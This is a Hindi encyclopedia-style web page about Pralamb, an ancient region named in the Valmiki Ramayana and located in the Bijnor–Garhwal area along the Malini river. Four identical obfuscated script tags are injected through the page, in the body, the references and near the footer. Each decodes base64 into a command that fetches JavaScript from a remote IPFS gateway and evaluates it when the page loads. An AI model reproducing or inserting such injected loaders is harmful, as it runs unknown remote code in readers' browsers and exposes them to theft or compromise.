प्रलंब  

प्रलंब एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- प्रलंब (बहुविकल्पी)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

प्रलंब का उल्लेख वाल्मीकि रामायण में हुआ है। प्रलंब बिजनौर ज़िले का दक्षिण भाग था, क्योंकि इसे मालिनी नदी के दक्षिण में बताया गया है। मालिनी गढ़वाल के पहाड़ों से निकल कर बिजनौर नगर से 6 मील दूर गंगा में रावलीघाट के निकट मिलती है।

  • वाल्मीकि रामायण में इस स्थान का वर्णन अयोध्या के दूतों की केकय देश की यात्रा के प्रसंग में है-

न्यन्तेनापरतालस्य प्रलंबस्योत्तरं प्रति, निषेवमाणा जग्मुर्नदी मध्येनमालिनीम्'[१]

  • प्रलंब के संबंध में मालिनी का उल्लेख होने से इस देश की स्थिति वर्तमान बिजनौर और गढ़वाल ज़िलों के अंतर्गत माननी होगी।
  • इसके आगे अयोध्या[२] में दूतों द्वारा हस्तिनापुर, ज़िला मेरठ में गंगा को पार करने का उल्लेख है, जिससे उपयुक्त अभिज्ञान की पुष्टि होती है।
  • प्रलंब से आठ मील दूर मंडावर है, जहाँ मालिनी नदी के तट पर कालिदास के "अभिज्ञान शाकुंतलम" नाटक में वर्णित 'कण्वाश्रम' की स्थिति परंपरा से मानी जाती है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 587 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. अयोध्या. 68, 12.
  2. अयोध्या, 68, 13
  • ऐतिहासिक स्थानावली | विजयेन्द्र कुमार माथुर | वैज्ञानिक तथा तकनीकी शब्दावली आयोग | मानव संसाधन विकास मंत्रालय, भारत सरकार

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

"https://amp.bharatdiscovery.org/w/index.php?title=प्रलंब&oldid=475691" से लिया गया